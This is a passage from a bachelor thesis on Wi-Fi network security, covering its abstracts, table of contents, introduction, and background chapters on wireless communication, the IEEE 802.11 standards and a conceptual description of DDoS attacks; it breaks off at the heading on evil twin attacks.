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ABSTRAKT

Tato bakalafska prace se zamétuje na zkoumani bezpecnostnich aspektii bezdratové komu-
nikace, konkrétné¢ Wi-Fi siti. Problematika se tyka zranitelnosti a hrozeb spojenych s
vetejnymi Wi-Fi sitémi a vyhodnocenim bezpecnostnich opatieni ve vybranych Wi-Fi
zatizenich. Vyzkumné metoda a jeji navrh zahrnuji komplexni pfehled literatury, sbér dat z
ruznych lokalit a penetracni testovani na jednotlivych bezpecnostnich standardech Wi-Fi.
Zjisténi zdlraznuji rozsifené piijeti standardu bezdratového zabezpeceni Wi-Fi Protected
Access 2 (WPA2). Odhaluji vSak limity v nedostatecné aplikaci nejnovéjsiho standardu
ukazuji, jak jednoduché je ziskat neopravnény piistup do Spatn€ zabezpecenych Wi-Fi siti,
nebo siti se silnym Sifrovanim, ale nespravné zvolenymi hesly. Tato prace zdiraziuje
klicové implikace z hlediska bezpe¢nosti komunikace. Zduraznuje kritické aspekty, které
je tfeba zvazit, véetné vyznamu povédomi o bezpecnosti, dillezitosti silnych hesel a potie-

by neustalého vyhodnocovéni a upgradu.

Kli¢ova slova: bezdratova komunikace, Wi-Fi sité, zranitelnost, hrozba, sbér dat, pene-

tracni test, Bezdratovy bezpecnostni protokol, heslo



ABSTRACT

This bachelor thesis focuses on the investigation of security aspects in wireless communi-
cation, specifically Wi-Fi networks. The problem at hand pertains to the vulnerabilities and
threats associated with public Wi-Fi networks and the evaluation of security measures in
selected Wi-Fi equipment. The research method and design encompassed a comprehensive
literature review, data collection from various locations, and penetration testing on differ-
ent Wi-Fi security standards. The findings emphasize the widespread adoption of the Wi-Fi
Protected Access 2 (WPA2) wireless security standard. They do, however, reveal limita-
tions in the adoption and implementation of the most recent standard. Furthermore, the
results of the penetration tests show how simple it is to gain unauthorized access to poorly
secured Wi-Fi networks or networks with strong encryption but easily guessable pass-
words. This thesis highlights key implications from a communication security perspective.
It emphasizes the critical aspects that need consideration, including the significance of se-
curity awareness, the importance of strong passwords, and the need for continuous evalua-

tion and upgrading.

Keywords: wireless communication, Wi-Fi networks, vulnerability, threat, data collection,

penetration test, Wireless security protocol, password



ACKNOWLEDGEMENTS

I would like to express my sincere gratitude to my family, friends, and colleagues for their
unwavering emotional and mental support throughout not only the thesis writing process
but also my entire academic journey away from home. Their encouragement and under-

standing have been instrumental in my success.

I would also like to extend my heartfelt appreciation to my supervisor doc. Ing. Jifi
Vojtések, Ph.D., and Ing. David Malanik, Ph.D., for their invaluable guidance and provi-
sion of essential knowledge. Their expertise and insights have greatly contributed to the
quality and depth of this thesis. I am truly grateful for their dedication and patience in men-

toring me.

I hereby declare that the print version of my Bachelor's/Master's thesis and the electronic

version of my thesis deposited in the IS/STAG system are identical.



CONTENTS

INTRODUCTION ...uuoouiniernnsninsnessnessnsssessssssnssssssssssessassssssssssasssasssassassssssasssasssssssassassssssas

I THEORY.....cocueevuveruencunncnenene

1 RESEARCH AND LITERATURE REVIEW

1.1 OVERVIEW OF RESEARCH TOPIC .....uuoieiiietiiiieeeee ettt e e eeeeeeeeeeeeeeeeeeaeanaeeneeas

1.1.1
1.1.2

Research Objectives and SCOPES.......ccvevvieriieiiieiieeie et

Significance of the StUAY........ccovviieiiiieiieee e

1.2 WIRELESS COMMUNICATION ...ttt ettt e eeeeeeeeeeeeeeteeeeeeeeeeeeeeeaeeeeeeaeeeeeeaeeeenenans

1.2.1
1.2.2

RAIO WAV,

IMICTOWAVE ..o e e e e e e e e e e e e e e eeereeeaaeaees

2.1 HISTORY oot e e e et e e e e e e e e e e e et e e e e eaaeeeeeaans

2.2 WI-ET STANDARDS ..ttt et e e e e e e e e eeeeeeaeeeeeeeeeeaaeaaeseseeereeananaaaeseeeranes

2.2.1
222
223
224
225
2.2.6
2.2.7
2.2.8

3  SECURITY IN COMPUTER NETWORKS

] U0 B B 1< 2 o TSR
01200 T o TSRS
0120 TSRS

3.1 THREATS IN COMPUTER NETWORKS ....etttttttunieeeeeeeeeeueeeeeeseeeseeeeeneaeseeeeenenennaaesees

3.1.1
3.1.2
3.1.3
3.14
3.1.5

Distributed Denial-of-Service (DDo0S) Attack .........ccocoeeviviiieniiniiiieeieeee,
EVIL TWIN @tACK ....ceuveiiiiiieieiteiec et
Man-In-The Middle (MITM) Attack .........cccovvveeiiieeiiieeieeee e
Advanced Persistent Threat (APT) Attack .....cc.cooovvveeiiiiiiieiieeeeiee e,
PassWOrd AtACK .....cc.oviiriiiiiiieeeeee s

3.2 WIRELESS SECURITY TECHNIQUES ...uuuiieeeieieeeeeeeeeeeeeeeeeeeee e e e e e e ee e e e e eeeeeeeeseeeeeseseenenens

3.2.1
3.2.2

216 % 01 5 o) o PO STR
Intrusion Detection System (IDS)......c.ooeviiieiiiiiiiiieeeeeee e

11

12

12
12
13
13
15
16

17

17
18
19
20
20
21
21
22
22
23

24



3.2.3  ADH-VITUS SOTEWATEC. ....iiiiiiiiieiieiieie ettt
3.2.4  Content fIEIINE ....cc.eeeiiiiieeieeiieeie ettt ettt et ebee e
3.2.5 Authentication and AuthoriZation............ccccveeeiiieeiiiecie e
3.3 WIRELESS SECURITY STANDARDS ....ccuttrtieiieniieeieenireeieesreenieesneesneeseneesseesneesneeenne
3.3.1 Wired Equivalent Privacy (WEP).......cccccoeviiiiiiiiiieieeeeeeeeee e
3.3.2  Wi-Fi Protected AccessS (WPA) ...ccooiiiiiieieeeeeeeee e
3.3.3  Wi-Fi Protected Access 2 (WPA 2)..ooioiiiiieeeeeeeeee e
3.3.4 Wi-Fi Protected Access 3 (WPA 3) ..ot

4 WI-FI NETWORK INFRASTRUCTURE

4.1 TyYPES OF CONNECTIONS IN WI-FI NETWORK (NETWORK TOPOLOGY).......cccuvrnnne..
4.1.1 Point-to-Point CONNECHION .....ccuvieeiiieeiiieeiieeeiieeeieeeeree e ree e e eeeeeebeeeaneeens
4.1.2 Point-to-Multipoint CONNECHION........cccvieriiieeeiieeeiieeereeeeieeeereeeereeeeeeeeareeens
4.1.3  MeSh CONMECTION ...c.veeniieniiriieiiieie ettt et e e

4.2 ANTENNAS IN WI-FINETWORKS .....ooiiiiiiiiiiiniieiieieeiieieete ettt
4.2.1 Types Of ANENNAS .....cooiuieiiiieiiieiiieiie ettt ettt e et e seee e
4.2.2 CharacteristicsS Of ANTENNA..........cccuvieeiiiieeiieeciie ettt e e e evee e ens

4.3 NETWORK INTERFACE CARDS IN WI-FI NETWORKS ......ccceeciiriiniiiiinienieeieneenieennens
431 TYPES OF NIC S ittt et e e eenaeeeaaeeens
4.3.2  Characteristics Of NIC .....cccoiiiiiiiiiiiiieeee e

4.4 LICENSED VS. UNLICENSED FREQUENCIES IN WI-FINETWORKS .....ccovvvuveeereeeeeirrnnnn.

S  WI-FINETWORK COMPONENTS....ccccvneenrensnnssnensnesssesssnsssanssssesssesssssssassssseses

5.1 ROUTERS IN WI-FINETWORKS .......ooiiiiiiiiiiiiiiiiiieiieeee e
511 TYPES OF TOULETS ..eeeeneiieeiiiieeiieeeiee ettt e ettt e sare e s tee e aeeeebeeenseeenneeas
5.1.2  Characteristics of Wireless TOULETS .......ccueeuieiiieiiieiieeiieeie e

5.2 WIRELESS ACCESS POINTS (AP) ..uuiiiiiiiiieieee et
521 TYPES OF WAP et e
5.2.2  Configuration Of WAP ......cooouiiiiiiee et

5.3 WAP VS. WI-FTROUTER ....cooiiiiiiiiiiiieiicee ettt

IT ANALYSIS ..coierenvrnecnennnennens

6 SECURITY RESEARCH OF PUBLIC WI-FI NETWORKS

6.1 METHODOLOGY AND DATA COLLECTION ..eetttueeeeeeteeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeneaeseeas

6.1.1 Tools and technologies used for conducting research ...........c..ccceeveriincnnnene



6.1.2 Research methodology and procedure for data collection............cccevueeuennnene. 55

0.1.3  Data ANALYSIS ...cccuieiuiieiieiieeieeiee ettt ettt et et ebee e 57
6.2 RESULTS OF DATA ANALYSIS OF INDIVIDUAL LOCATION .....cccevviieniieniieienieeneenn 58
6.2.1 Areaone: NamMESti Mirt, ZIIN......cccoouvvviiiiiiiiiiieiiieeee et 58
6.2.2  Area two: KUty, ZIN .....cccooiiiiiiiieiieiecieeeee et 60
6.2.3 Area three: Tomas Bata regional hospital, Zlin...........c.cccceevirriiinieniieeennen. 63
6.2.4  Area four: Ciganov, ZIIN.........cccceeeiiiieiiieeeieeecee et 65
6.2.5 Area five: Stfedova, Jizni Svahy, ZIiN........ccccoevviieiiiieiieeeeceeeee e, 68
6.2.6 Area six: Ceska, Jizni Svahy, ZIN....ccooooiiiiiiiieieeecee e 70
6.2.7 Area seven: Namésti Tomase Garrigue Masaryka, Zlin............cccocveeveenennen. 73
6.2.8 Area eight: Jana Antonina Bati, ZIin ........ccccoeoiiiiiniiiniinie e, 75
6.2.9 Areanine: Centro ZIn, ZIIN .......oooovvviiiiiiiiiiiiiieiiieee e 77
6.2.10  Areaten: MalenoviCe, ZIIN ......ccooouueieiiiiiieeeeeeeieeeeee et 80
6.2.11  Area eleven: Park Komenského, ZIn .......ococuvvvieiiiiiiiiiiiiieeeeeeeeeeeeeeeeeenn 82
6.2.12  Areatwelve: ANtONINOVa, ZIIN ........oevviiiiiiiiiiiiiiieeeeeeeceiieeeeeee e 84
6.3 OVERALL FINDINGS: COMBINING RESULTS AND DRAWING CONCLUSION ................ 87
7  SECURITY OF SELECTED WI-FI EQUIPMENT .....ccccccevuinuininrensessessussassasnces 89
7.1 METHODOLOGY ....eoutiiiemiiaiienitetentenieentteeteettesaeetesieesseenesueesseesesasenseenseennesseenneeanenne 89
7.1.1 Tools and technologies used for conducting research ............c.cccoevevvernreennneen. 90
7.1.2  Network topology and configuration............c..cceceevuerienienieniieniennenieneeieeene 91
7.2 PENETRATION TESTS ON WEP STANDARD ....ccceeoiiiriiiiienieeiie et 92
7.2.1 Exploiting Initialization vector (IV) and cracking WEP standard................... 92
7.2.2  Fragmentation attack...........ccceeriuiiiiiiiieiiie e 94
7.2.3  Wifite Attack on WEP ......ooooiiiiii e 96
7.3 PENETRATION TESTS ON WPA STANDARD ....cc.ceoiiiriiiiienieeiienie et 98
7.3.1  DICtIONATY @ttACK .....ccuviieiiieeiieeeiie ettt et e et e e e ree e ae e e e e eaaeeeaeees 98
7.3.2  Wifite attack on WPA ... 100
7.4 PENETRATION TESTS ON WPA2 STANDARD .....ccceccuiiiiiiiiiiiiiiciccieiccie e 102
7.4.1  DICtioNary attaCk .......ccoueeiiiieiiieiiieiieeie ettt e 102
7.4.2  Wifite Attack on WPA2Z . ... 104
CONCLUSION .uuuiciririnsuissensansssnssesssssssssssssssssssssessssssssssssssssssssssssssssssssssssssssssssssssssssssssss 107

BIBLIOGRAPHY ....uuieiiiiininiennineentennesnessessssssssssesssesssssasssssssasssesssssssssssssasssasssassas 108



LIST OF ABBREVIATIONS 113

LIST OF FIGURES ......uuiiuiintinniinninnennnensnessssecssnssssesssessssssssassssssssnssssssssassssssssassssssssass 116

LIST OF TABLES c.uuotiiientintinntennnennenssessssessssssssssssssssssssssssssssssssssssssssssssssssssssssssasss 118

APPENDICES......uvveervrnnrrcnennne 119




TBU in Zlin, Faculty of Applied Informatics 10

INTRODUCTION

The widespread availability of wireless Wi-Fi networks has resulted in a revolutionary
shift in our connectivity, communication, and information access. It has become an essen-
tial part of our daily lives, providing seamless and dependable wireless connectivity to in-
dividuals, businesses, and communities. In today's digital landscape, the security of Wi-Fi
networks is critical to consider. While Wi-Fi networks are convenient and flexible, they
can also be vulnerable to a variety of security threats. To protect against these threats, it is
important to have a fundamental understanding of certain aspects of Wi-Fi security. This
includes being aware of the Wi-Fi IEEE standard being used, the type of wireless security
protocol employed, and the available security techniques that can be implemented to en-
hance protection against unauthorized access, data breaches, and other network security

threats.

Based on personal experience, it became evident that a significant number of individuals I
engaged with had a limited understanding of secure and insecure networks. They were
largely unaware of the potential risks associated with connecting to inadequately secured
access points, particularly in public environments where numerous access points with open
authentication are prevalent. This observation underscores the critical importance of rais-
ing awareness regarding the presence of suspicious access points and exercising caution

when utilizing open or weakly secured networks.

The main objective of this thesis is to provide the reader with a clear understanding of Wi-
Fi security. It aims to explain the most common threats to Wi-Fi security and how they
operate, while also emphasizing the measures that can be taken to safeguard against these
threats. The thesis intends to demonstrate the significance of implementing robust security
settings and strong authentication protocols by showcasing how easily networks can be

breached and accessed using different security configurations.
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I. THEORY
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1 RESEARCH AND LITERATURE REVIEW

This chapter explores wireless communication and its role in our daily lives. The security
of Wi-Fi networks is investigated, with a focus on understanding the evolving security

challenges and studying successful solutions to safeguard wireless communication.

1.1 Overview of Research Topic

This study's research topic is Wi-Fi network security, with an emphasis on understanding
the evolving nature of security challenges and investigating effective security measures for
wireless communication. The goal is to add to the body of knowledge in Wi-Fi network
security by investigating threats, techniques, protocols, infrastructure, and equipment. This
study also includes empirical research conducted in 12 different locations throughout Zlin

to assess the security of Wi-Fi devices in those areas.

1.1.1 Research Objectives and Scopes
The primary objectives of this research are as follows:

e Analyze and assess various types of threats in Wi-Fi networks, such as distributed
denial-of-service (DDoS) attacks, evil twin attacks, man-in-the-middle (MITM)
attacks, advanced persistent threat (APT) attacks, and password attacks.

e Investigate wireless security techniques used in Wi-Fi networks, such as
encryption, intrusion detection systems (IDS), anti-virus software, content filtering,
and authentication and authorization mechanisms.

e Examine and evaluate the efficacy of various wireless security protocols, including
Wired Equivalent Privacy (WEP), Wi-Fi Protected Access (WPA), Wi-Fi Protected
Access 2 (WPA2), and Wi-Fi Protected Access 3 (WPA3).

e Investigate Wi-Fi network infrastructure, such as different types of connections,
antennas, network interface cards (NICs), and licensed vs. unlicensed frequencies.

e Investigate the characteristics of Wi-Fi network components such as routers and

wireless access points (APs).

The scope of this research will include analyzing existing literature, conducting empirical
studies, and performing penetration tests on selected Wi-Fi equipment to assess the securi-

ty of various protocols.
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1.1.2 Significance of the study

Wi-Fi networks have become an integral part of our daily lives, and their widespread use
necessitates the implementation of robust security measures. This research is highly signif-
icant as it focuses on identifying potential threats in computer networks and investigating
the security techniques that can be used to protect against them. The primary goal of this
study is to provide a thorough understanding of wireless communication networks while
also shedding light on the security issues they face. Furthermore, the study intends to in-
vestigate the various types of connections found in Wi-Fi networks as well as the compo-

nents that comprise these networks.

1.2 Wireless communication

Wireless communication technology affects our daily lives in ways we are unaware of. If
you own a business, you might be interested in learning how to use the various wireless

communication methods to your advantage.

A wireless connection is the establishment of communication between two points without
the use of wires or a physical medium. The method of wireless communication can be done
by the transfer or exchange of information using electromagnetic waves. You can find an
illustration of the different methods of wireless communication and technology in Figure 1.
Two of the most commonly used wireless communication mediums are utilized for Wi-Fi

communication and are described in this chapter.
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Infrared Wave

Wireless
Communication
Medium

Bluetooth

Satellite

@ Utilized Mediums for Wi-Fi Communication

Figure 1 Methods used for wireless communication

Wireless communication encompasses a broad range of electromagnetic frequencies, as

outlined in Figure 2, which categorizes the spectrum into relevant groups.
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Figure 2 Electromagnetic Spectrum
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1.2.1 Radio Wave

Radio, known by the vast population as sound communication, uses radio waves. The
composition of those waves is electricity and magnetism. Radio operates by sending and
receiving electromagnetic waves. The lifecycle of a radio wave is initiated by a transmit-
ter that generates and propagates a radio wave into space that the receiver can detect and
pick up from space. Therefore, a radio signal is a swift electronic current moving back and

forth.

The radio wave frequency ranges between 3 kHz to 3,000 GHz. This wide range of fre-
quencies allows the use of radio waves in different wireless technologies such as Ampli-
tude and Frequency Modulation (AM/FM) broadcasting radio, television, cellular commu-

nication, Bluetooth, and Wi-Fi.

Broadcasting Radio is typically used to transmit music, news, and other types of programs
from a single broadcast station to many individual listeners who have access to radio re-
ceivers [5]. The simplest form of a radio wave does not contain any information when
transmitted. In order to populate the wave with information, the wave needs to be modulat-

ed. The most common modulation methods are AM/FM.

In television, radio waves are used to broadcast single from a television station to antennas
of receiving devices. The signal carries the audio and video information for a television
program. The receiving device will decode the audio wave signal to display the audio and

video content on the screen.

Cellular communication is the super-high-frequency bands used to transmit cell phone
signals. This high frequency sits on the electromagnetic spectrum between FM radio and
microwave ovens. When a call is made, the cell phone sends a signal to the base station,
which assigns it a radio frequency (RF), and the base station transfers it to a center where it

can be sent to a regular or another cell phone.

Wi-Fi technology uses radio waves to operate. Wi-Fi technology enables wireless local
area networking by transferring data between Wi-Fi-enabled devices such as laptops,
smartphones, and tablets, as well as Wi-Fi routers, using RF signals in the 2.4 GHz and 5
GHz frequency bands [1].
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1.2.2 Microwave

Microwave communication is a technology that uses microwave radio frequencies to send

information such as voice, data, and video over long distances .

Microwave communication is established when a transmitter converts electrical signals
into microwave radio waves, which then transmit through the air to a receiver in micro-
wave communication systems. The receiver then converts the microwave radio waves into
electrical signals that the user can understand. Microwave frequencies typically range from
1 GHz to 100 GHz. Microwave signals can be focused into a tight beam due to their short-

er wavelength, making them suitable for long-distance and point-to-point communication.

Microwave energy can be used in several different fields. However, the focus of this re-
search is mainly associated with communication and information transfer in radio frequen-

cy identification and Wi-Fi.

Radio Frequency Identification (RFID) is a wireless identification and tracking technology
that uses radio waves to identify and track objects such as products, animals, or people.
RFID systems are made up of three parts: an RFID tag, an RFID reader, and an antenna.
When an RFID reader connected to a computer or network approaches the tag, it sends out
a microwave frequency that energizes the tag's antenna, causing it to send back its unique

identification number to the reader.

As mentioned earlier, Wi-Fi technology uses radio waves to transmit data between devices
over a long-distance network wirelessly. They are modulated with information and sent
from a Wi-Fi device (such as a router) to a receiver (such as a laptop). Wi-Fi utilizes mi-
crowaves to transmit data within radio waves, resulting in the high data transfer rates re-
quired for modern internet applications. Wi-Fi's microwave frequency is typically 2.4 GHz
or 5 GHz. In summary, radio waves provide the range for Wi-Fi communication, while

microwaves provide the speed [2].
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2 WI-FI

Wireless Fidelity (Wi-Fi) is a radio wave signal used in networking technology that allows
data exchange at high speed over a distance. Wi-Fi is a popular choice for home and busi-
ness networks, as it allows Local Area Networks (LANs) to operate without needing cables
or wiring. Additionally, Wi-Fi-enabled devices can access the internet wirelessly when in

proximity to areas with Wi-Fi access, known as kot spots.

2.1 History

Wireless networks have grown and evolved tremendously over the past century. The idea
for the internet, as we know it today, can be traced back to memos written in August 1962
by Joseph Carl Robnett Licklider, who discussed the concept of galactic network. The
origin and history of the internet date back to the 1960s.

However, the origin of wireless signals and waves date back much further. Bose famously
demonstrated microwaves in the 1890s by using them to remotely ring a bell and ignite
gunpowder. He noticed that there was no need to wires for a connection because waves
could easily pass through a wall. Like any ground-breaking communication innovation,
this one was soon put to use in the military. To prevent the British from listening in, the
German military began using radios with shifting frequencies in 1915. The military, emer-
gency services, and law enforcement agencies have been the main early adopters of wire-
less technology. For instance, soldiers carrying wireless communication equipment in ve-

hicles and backpacks have been depicted in scenes from World War II movies [3].

The first ever communication done between a group of networked computers was in 1969
by Advanced Projects Research Agency Network. By the late 1970’s a clearer networking
protocol was introduced, called (IP) Internet Protocol. IP was a breakthrough that brought
substantial growth in the next few years in terms of wireless networking. From the 1970s
to the early 1990s, the increasing demand for wireless connectivity could only be satisfied
by a small selection of expensive hardware. These products offered no equipment seamless
integration among different manufacturers, no security features, and unsatisfactory perfor-

mance in comparison to the then-standard 10 Mbps wired Ethernet [4].
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2.2 Wi-Fi Standards

The standardization of Wi-Fi technology has been instrumental and a catalyst in the wide-
spread adoption and success of Wi-Fi. As of 2022, at least a billion Wi-Fi APs are con-
nected to nearly 100 billion Internet-enables devices, allowing for the utilization of mil-

lions of applications that can be accessed from any location [5].

The Institute of Electrical and Electronics Engineers (IEEE) is a large international organi-
zation that advances innovation and technology for the good of society. 802.11 is an IEEE
standard for wireless communication. The creation of 802.11 was a contributing effort of
many companies. With each company having its version of the device, it became difficult
for those devices to work together. The Wi-Fi Alliance organization was established to
solve this interoperability issue. They formed an agreement that became the foundation
that all members of the organization followed. The purpose of the agreement was to estab-

lish interoperability between the various manufacturers' devices [4].

Wi-Fi has become more complex and has been upgraded numerous times in the last dec-
ade. These upgrades are known as amendments of Wi-Fi. With these amendments an effort
can be seen to meet the need of new applications and demands as well as modifications to

increase the capacity and effectiveness of the Wi-Fi.
Some of the obvious areas where standardization helped Wi-Fi include:

e [Interoperability, which is the compatibility of devices from various manufacturers.
Which also allows backward compatibility, where newer devices can interoperate
with older devices.

e Consistency in user experience, also known as ease of use, Allows people to
connect their devices to Wi-Fi networks more easily [6].

e The widespread availability of Wi-Fi devices and APs. This has led Wi-Fi to
evolve into a crucial element of the modern information society. As of 2023,
approximately 65% of the global population were users of Wi-Fi [7].

e The performance of wireless communication. It is the regulation in the speed,
range, and reliability of Wi-Fi technology.

« Improvement in the security of the Wi-Fi by establishing encryption and

authentication protocol [6].



TBU in Zlin, Faculty of Applied Informatics 19

Table 1: List of major Wi-Fi amendments

IEEE Standard Wi-Fi Alliance Number
802.11 Legacy 802.11
802.11b Wi-Fi 1*
802.11a Wi-Fi 2*
802.11g Wi-Fi 3*
802.11n Wi-Fi 4
802.11ac Wi-Fi 5
802.11ax Wi-Fi 6
802.11be Wi-Fi 7

Table 1 lists the major updates of Wi-Fi in a timely order. Their main improvements and

the highest data rates they can handle, along with other characteristics, are explained fur-

ther in this section. The asterisk (*) in Wi-Fi 1, Wi-Fi 2, and Wi-Fi 3 under the Wi-Fi Alli-

ance number represent the unofficial names of the amendments.

For the remaining of this chapter, All the standards listed in Table 1 are described with

their characteristics, including their data rates, bandwidths, modulation schemes, network

range, and security.

2.2.1 802.11 Legacy

The IEEE 802.11 introduced in 1997, was the original version that became the standard of

wireless networking.

Data rate: IEEE 802.11 wireless network had a transmission rate of 1 or 2 Mb/s.
Band: It operated in the infrared band or by RF band. A 2.4 GHz industrial scien-
tific medical (ISM) band was allocated for wireless networks.

Modulation scheme: The 802.11 protocol covers the Medium Access Control Sub-
layer (MAC) and Physical layer of the Open Systems Interconnection (OSI) seven-
layer reference model. At the physical layer, Direct sequence Spread Spectrum
(DSSS) technique is used to propagate the signal across a wide frequency band to
reduce interference and increase transmission security.

Network range: The range in this amendment extends as far as 100 meters out-

doors.
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Security: In this amendment, security methods were not specified. Some manufac-
turers provided authentication based on MAC addresses, in which access-points

kept a list of MAC addresses of devices that were allowed to connect to them [4].

2.2.2 802.11b

The IEEE 802.11b standard came right after legacy 802.11 in 1999.

Data rate and band: IEEE 802.11b had an extended transmission rate of 1 to 11
Mb/s using the same 2.4 GHz band. The extension in link-rate makes it suitable for
higher bandwidth applications such as video and audio streaming.

Modulation scheme: In terms of the physical layer, IEEE altered the rules of
Ethernet networking by introducing new physical and data-link layers to the ISO
model in order to provide Ethernet over RF. The new implementation of the phys-
ical layer was the High-rate Direct-Sequence Spread Spectrum (HR-DSSS).
Network range: the range extended to maximum of 100 meters outdoors.

Security: The security standard that the 802.11b standard implemented was Wired
Equivalent Privacy (WEP). The WPA worked by encrypting the data using the
Rivest Cipher 4 (RC4) stream cipher. The encryption was based on the use of a
shared secret key to scramble the data. The key was used both to encrypt data at

the source and to decrypt data at the destination [8].

2.2.3 802.11a

The IEEE 802.11a standard was adopted in 1999.

Data rate: IEEE 802.11a operates in the 5 GHz frequency band and has a data
transfer rate of up to 54 Mb/s. The 5 GHz frequency band is less congested and
less prone to interference from other devices. It can also support multiple channels,
improving network efficiency and reducing congestion .

Modulation scheme: Regarding the MAC protocol, IEEE 802.11a standard em-
ploys a separate MAC layer protocol based on the Distributed Coordination Func-
tion (DCF) as opposed to the Carrier Sense Multiple Access with Collision Avoid-
ance (CSMA/CA) protocol adopted by the previously described standards. As for
the PHY layer, the 802.11a standard is the first amendment to employ Orthogonal
Frequency Division Multiplexing (OFDM) technology. Which is more advanced
than DSSS [9].
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Network range: the network’s maximum range is 100 meters outdoors.
Security: The security feature implemented in this amendment is the WEP. As well
as access-control mechanisms, such as MAC address filtering, to regulate which

devices are allowed to join the network [10].

224 802.11g

IEEE 802.11g standard was released in 2003.

Data rate: IEEE 802.11g operates in the 2.4 GHz frequency band and can deliver
data at up to 54 Mb/s.

Interoperability: It is an 802.11b standard extension that is backward-compatible
with 802.11b devices. It is regarded as one of the most widely used wireless net-
working standards.

Modulation scheme: The standard employs the same MAC protocol as 802.11b,
but with a more efficient modulation technique OFDM to provide faster data rates
and better performance in noisy environments. As for the PHY layer, DSSS and
complementary code keying (CCK) implementation is used to build data rates up
to 11 Mb/s, and OFDM is used to achieve higher data rates up to 54 Mb/s. When
communicating with legacy 802.11b devices, it will revert back to either DSSS or
CCK modulation [11].

Security: Another benefit of 802.11g is its support for WPA2, which provides
strong wireless network security. As well as 802.1X authentication and MAC ad-
dress filtering are used to control network access and prevent unauthorized access

[10].

2.2.5 802.11n (Wi-Fi 4)

IEEE 802.11n standard, also known as Wi-Fi 4, was released in 2009. This standard was

intended to implement some significantly improved characteristics. Considering the high

demand on video streaming at the time, the goal with this amendment was to achieve high-

er speed and capacity.

Data rate: 802.11n standard supported techniques that allowed data rates up to 600
Mb/s that operated in a frequency band of 2.4 GHz and 5 GHz. A massive im-

provement from the previous standards.
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Interoperability: IEEE 802.11n can also connect with amendments that support
802.11a/b/g due to its backward compatibility with earlier Wi-Fi protocols.
Modulation scheme: To increase the efficiency and reliability of data transmission,
the 802.11n standard employs Multiple Input Multiple Output (MIMO) technology
and a combination of OFDM and DSSS modulation. The MIMO allows for Exist-
ence of numerous independent streams on the same frequency, reduce coding
overhead, reduce guard interval and inter-frame spacing, additional channel bond-
ing PHY, and reduction of MAC layer overhead [4].

Network range: The range extended to maximum of 250 meters outdoors.

Security: In this amendment the security used is Wi-Fi Protected Access 2 (WPA
2) [10].

2.2.6 802.11ac (Wi-Fi5)

IEEE 802.11ac standard, also known as Wi-Fi 5, was introduced in 2013. This amendment

promised improvement in several areas over its predecessors.

Data rate: IEEE 802.11ac allows data rates of at least 1 Gb/s with a frequency band
of 5 GHz. which is a large improvement compared to 802.11n.

Multiple antennas: Numerous antennas could be used in IEEE 82.11ac to increase
wireless transmission reliability and speed. MIMO technology is used, which ena-
bles it to send and receive data in several streams.

Channel bonding: Channel bonding, a feature of IEEE 802.11ac, enables the fusion
of several wireless channels into a single, broader channel. This could boost the
wireless network's overall performance and increase available capacity.

Network range: The range can extend to approximately 90 meters outdoors
Security: IEEE 802.11ac supports the Advanced Encryption Standard (AES) en-
cryption algorithm, WPA2, 802.1X authentication, MAC address filtering, and
Guest network support [12].

2.2.7 802.11ax (Wi-Fi 6)

The most recent wireless networking standard, IEEE 802.11ax, generally referred to as Wi-

Fi 6, offers considerable upgrades over IEEE 802.11ac.

Data rate: This amendment promises higher data rate up to 10 Gb/s with a frequen-

cy band of both 2.4 GHz and 5 GHz.
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Interoperability: Devices that support earlier standards can connect to an IEEE
802.11ax network because IEEE 802.11ax is designed to be backward compatible
with them.

Modulation scheme: This standard implements the techniques Orthogonal Fre-
quency Division Multiple Access (OFDMA) and Multi-User Multiple Input Multi-
ple Output (MU-MIMO). These techniques will allow the support for a higher
number of connected devices

Security: the security standards used in this standard include Wi-Fi Protected Ac-
cess 3 (WPA 3), Opportunistic Wireless Encryption (OWE), Enhanced Open, Ex-
tensible Authentication Protocol (EAP), Management Frame Protection, and Pro-

tected Management Frames [13].

2.2.8 802.11be (Wi-Fi 7)

The IEEE 802.11be, also known as Wi-Fi 7, is the next upcoming amendment of Wi-Fi.

The IEEE 802.11 working group is actively creating the 802.11be future Wi-Fi standard.it

is expected to be released early 2024. There isn't a definitive specification for 802.11be

yet, thus the specifications' characteristics and features could change.

Data rate: the data rate is expected to go as high as 30 Gb/s.

Improved reliability: Features including channel bonding, dynamic frequency se-
lection, and interference mitigation techniques are anticipated to be included in
802.11be in order to increase reliability and decrease packet loss.

Improved security: To stave off security risks, 802.11be is anticipated to incorpo-
rate stronger encryption and authentication procedures, including the most recent
version of WPA.

Better power efficiency: 802.11be is anticipated to enable power-saving features
including target wake time (TWT) and deep sleep modes to lower power usage and

lengthen the battery life of mobile devices [14].
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3 SECURITY IN COMPUTER NETWORKS

Security in computer networks, also known as Wireless security, protects computers and
data on wireless networks, such as Wi-Fi networks, from unauthorized access or harm. It
also protects the wireless network from malicious actors who want to jeopardize its confi-

dentiality, integrity, or availability.

Security in computer networks is essential for many reasons. The most common reasons
include safeguarding sensitive data, ensuring regulatory compliance, preventing
cyberwarfare, ensuring business continuity, and preserving credibility and confidence. For
these reasons, security methods, standards, and techniques were developed. This chapter
will focus mainly on the threats in computer networks, Security standards developed over

the years, and some security techniques popular in this era.

3.1 Threats in Computer Networks

Technological innovation in computer networking and communication has been tremen-
dous over the decades. The goal has always been for humans to live easier and minimize
task-heavy technology and establish and grow businesses with accessible resources that
make the everyday life of an individual insightful. However, with every technological ad-
vancement comes challenges that cause a threat, especially with technologies regarding the
wireless exchange of information. Making communication much easier between devices
could mean that the communication is more fragile, which means the possibility of a threat
to communication becomes more probable. In order to combat these threats and establish a
more intelligent method to secure that communication, it is necessary to understand the
threat in detail. This section will list and describe the main threats to a wireless security

network.
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3.1.1 Distributed Denial-of-Service (DDoS) Attack

To understands what a DDoS attack is, we must first understand the method and logic be-
hind Denial-of-Service (DoS) attack. This attack is the way of denying a service to legiti-
mate users. It prevents a machine, server, or network from responding to user’s request. It
does so by a process called resource exhaustion, where the entirety of the available band-

width, disk space, or memory capacity is taken up.

The primary distinction between DoS and DDoS attacks is that a single attacker conducts a
DoS attack on a single computer. In contrast, a group of attackers conducts a DDoS attack
on a network of infected computers. This is accomplished by the attacker gaining control
of these computers via malware and establishing a system of "zombie" machines known as
a botnet. The botnet is subsequently utilized to launch a coordinated attack on a specific

server or network, flooding it with traffic from multiple sources.

The DDoS attack doesn't directly grant unauthorized access to the network by attacking the
AP and cracking the password. However, it can aid in the process. DDoS attacks are used
as a diversionary tactic by attackers to distract network administrators and security person-
nel while they attempt to gain unauthorized access to the network via other means, such as

a password attack or a man-in-the-middle attack [15].

3.1.2 Evil Twin attack

